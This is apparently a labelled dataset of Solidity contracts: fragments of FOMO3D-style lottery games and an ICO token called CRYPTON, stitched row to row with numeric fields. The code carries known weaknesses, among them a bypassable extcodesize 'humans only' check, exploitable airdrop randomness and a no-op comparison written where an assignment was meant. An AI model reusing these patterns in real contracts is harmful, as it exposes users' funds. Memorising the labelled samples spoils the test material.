updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, RPdatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit RPevents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(keyPrice_ != 0, "key price not set");
require(msg.sender == admin, "only admin can activate");
require(activated_ == false, "FOMO Free already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now - rndGap_;
round_[1].end = now + rndInit_ ;
}
}
library RPdatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 pot;
uint256 emerald;
uint256 glk;
uint256 aff;
uint256 dev;
}
struct PotSplit {
uint256 pot;
uint256 dev;
uint256 nextRound;
uint256 emerald;
uint256 glk;
}
}
interface DiviesInterface {
function deposit() external payable;
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function percent(uint256 _a, uint256 _b)
internal
pure
returns (uint256 ) {
uint256 numerator = _b * 1000;
require(numerator > _b);
uint256 temp = numerator / _a + 5;
return temp / 10;
}
function ceil(uint a, uint m)
internal
pure
returns (uint ) {
return ((a + m - 1) / m) * m;
}
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 | 37 |
pragma solidity ^0.4.4;
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract Token {
function totalSupply() public constant returns (uint256 supply) {}
function balanceOf(address _owner) public constant returns (uint256 balance) {}
function transfer(address _to, uint256 _value) public returns (bool success) {}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {}
function approve(address _spender, uint256 _value) public returns (bool success) {}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Burn(address indexed from, uint256 value);
}
contract StandardToken is Token, SafeMath {
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function burn(uint256 _value) public returns (bool success) {
require(balances[msg.sender] >= _value);
balances[msg.sender] = safeSub(balances[msg.sender], _value);
totalSupply = safeSub(totalSupply,_value);
emit Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balances[_from] >= _value);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = safeSub(balances[_from],_value);
allowed[_from][msg.sender] = safeSub(allowed[_from][msg.sender],_value);
totalSupply = safeSub(totalSupply,_value);
emit Burn(_from, _value);
return true;
}
}
contract CryptonCoin is StandardToken {
string public name;
uint8 public decimals;
string public symbol;
string public version = 'H1.0';
address public fundsWallet;
address public contractAddress;
uint256 public preIcoSupply;
uint256 public preIcoTotalSupply;
uint256 public IcoSupply;
uint256 public IcoTotalSupply;
uint256 public maxSupply;
uint256 public totalSupply;
uint256 public unitsOneEthCanBuy;
uint256 public totalEthInWei;
bool public ico_finish;
bool public token_was_created;
uint256 public preIcoFinishTimestamp;
uint256 public fundingEndTime;
uint256 public finalTokensIssueTime;
function CryptonCoin() public {
fundsWallet = msg.sender;
name = "CRYPTON";
symbol = "CRN";
decimals = 18;
balances[fundsWallet] = 0;
totalSupply = 0;
preIcoTotalSupply = 14400000000000000000000000;
IcoTotalSupply = 36000000000000000000000000;
maxSupply = 72000000000000000000000000;
unitsOneEthCanBuy = 377;
preIcoFinishTimestamp = 1524785992;
fundingEndTime = 1528587592;
finalTokensIssueTime = 1577921992;
contractAddress = address(this);
}
function() public payable {
require(!ico_finish);
require(block.timestamp < fundingEndTime);
require(msg.value != 0);
totalEthInWei = totalEthInWei + msg.value;
uint256 amount = 0;
uint256 tokenPrice = unitsOneEthCanBuy;
if (block.timestamp < preIcoFinishTimestamp) {
require(msg.value * tokenPrice * 7 / 10 <= (preIcoTotalSupply - preIcoSupply));
tokenPrice = safeMul(tokenPrice,7);
tokenPrice = safeDiv(tokenPrice,10);
amount = safeMul(msg.value,tokenPrice);
preIcoSupply = safeAdd(preIcoSupply,amount);
balances[msg.sender] = safeAdd(balances[msg.sender],amount);
totalSupply = safeAdd(totalSupply,amount);
emit Transfer(contractAddress, msg.sender, amount);
} else {
require(msg.value * tokenPrice <= (IcoTotalSupply - IcoSupply));
amount = safeMul(msg.value,tokenPrice);
IcoSupply = safeAdd(IcoSupply,amount);
balances[msg.sender] = safeAdd(balances[msg.sender],amount);
totalSupply = safeAdd(totalSupply,amount);
emit Transfer(contractAddress, msg.sender, amount);
}
}
function withdraw() public {
if (block.timestamp > fundingEndTime) {
fundsWallet.transfer(contractAddress.balance);
}
}
function createTokensForCrypton() public returns (bool success) {
require(ico_finish);
require(!token_was_created);
if (block.timestamp > finalTokensIssueTime) {
uint256 amount = safeAdd(preIcoSupply, IcoSupply);
amount = safeMul(amount,3);
amount = safeDiv(amount,10);
balances[fundsWallet] = safeAdd(balances[fundsWallet],amount);
totalSupply = safeAdd(totalSupply,amount);
emit Transfer(contractAddress, fundsWallet, amount);
token_was_created = true;
return true;
}
}
function stopIco() public returns (bool success) {
if (block.timestamp > fundingEndTime) {
ico_finish = true;
return true;
}
}
function setTokenPrice(uint256 _value) public returns (bool success) {
require(msg.sender == fundsWallet);
require(_value < 1500);
unitsOneEthCanBuy = _value;
return true;
}
} | 0 | 974 |
pragma solidity ^0.4.24;
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularShort is F3Devents {}
contract F3DPLUS is modularShort {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcShort for uint256;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x0433c529Bb7FA84f18dfe49F0234c6815bD441FA);
address private admin = msg.sender;
string constant public name = "f3dplus";
string constant public symbol = "f3dplus";
uint256 private rndExtra_ = 0;
uint256 private rndGap_ = 2 minutes;
uint256 constant private rndInit_ = 3 hours;
uint256 constant private rndInc_ = 30 seconds;
uint256 constant private rndMax_ = 3 hours;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = F3Ddatasets.TeamFee(30,0);
fees_[1] = F3Ddatasets.TeamFee(31,0);
fees_[2] = F3Ddatasets.TeamFee(50,0);
fees_[3] = F3Ddatasets.TeamFee(36,0);
potSplit_[0] = F3Ddatasets.PotSplit(52,0);
potSplit_[1] = F3Ddatasets.PotSplit(25,0);
potSplit_[2] = F3Ddatasets.PotSplit(40,0);
potSplit_[3] = F3Ddatasets.PotSplit(34,0);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 67000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
{
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
